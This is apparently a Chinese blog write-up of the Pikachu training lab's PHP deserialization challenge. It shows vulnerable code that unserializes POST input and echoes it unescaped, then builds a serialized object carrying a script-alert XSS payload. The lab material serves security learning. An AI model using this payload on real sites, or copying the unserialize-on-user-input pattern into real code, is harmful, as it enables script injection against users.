pikachu_php反序列化

pikachu_php反序列化

源代码

php 复制代码
class S{
    var $test = "pikachu";
    function __construct(){
        echo $this->test;
    }
}


//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";
    }

}

源码可见,需要执行到test,那么就需要执行construct函数,该魔法函数创建对象时就会被执行,执行到else分支之后输入值的反序列化就会当做值给test调用

过程

尝试写一个xss攻击,将xss攻击序列化提交

php 复制代码
<?php
class Test{
	public $a="<script>alert(/order/)</script>";
}
	$a=new Test();
	var_dump(serialize($a));
?>

查看结果

发现xss标签部分被执行了,然后没有了

因此需要在序列化的时候替换掉xss攻击代码中的一部分,让其无法执行,生成后再替换回来即可

此处将括号换成x,并且构造成源码一样的参数名

php 复制代码
<?php
class S{
    var $test = "xscript>alert(/order/)x/script>";
}
    $s=new S(); 
    print_r(serialize($s));
?>

得到结果然后修改尖括号

复制代码
O:1:"S":1:{s:4:"test";s:31:"xscript>alert(/order/)x/script>";}

O:1:"S":1:{s:4:"test";s:31:"<script>alert(/order/)</script>";}

拿去执行,成功执行xss

相关推荐
看昭奚恤哭9 分钟前
LWIP TCP滑动窗口为TCP ZeroWindow的解决方法
网络·tcp/ip·php
编程阿峰10 分钟前
Python 环境配置(二)安装jupyter、matplotlib、numpy库
开发语言·python·jupyter·numpy·matplotlib
AC赳赳老秦11 分钟前
CSDN 技术社区数据采集:OpenClaw 抓取公开技术热帖,生成领域技术热点周报
java·大数据·前端·数据库·python·php·openclaw
笨鸟先飞,勤能补拙21 分钟前
下一个十年:网络安全正在被重写
网络·人工智能·安全·web安全·网络安全·github
月光船幽幽24 分钟前
安全域公理:连续与脉冲扰动的量化约束
科技·安全
磁爆步兵31 分钟前
内存分区:程序运行的核心秘密
java·开发语言·jvm
此生决int1 小时前
深入理解C++系列(06)——模版初阶与STL
开发语言·c++
烟漠河洛1 小时前
俄罗斯电商3200亿卢布疯长:跨境支付与多平台订单系统架构解析
mysql·php
Lvan的前端笔记1 小时前
AndroidX 完全入门指南
android·androidx
swany1 小时前
同步数据中,只需要几秒钟 & milvus向量数据库不可用 dify1.16.1 升级后踩坑记录
开发语言·python·numpy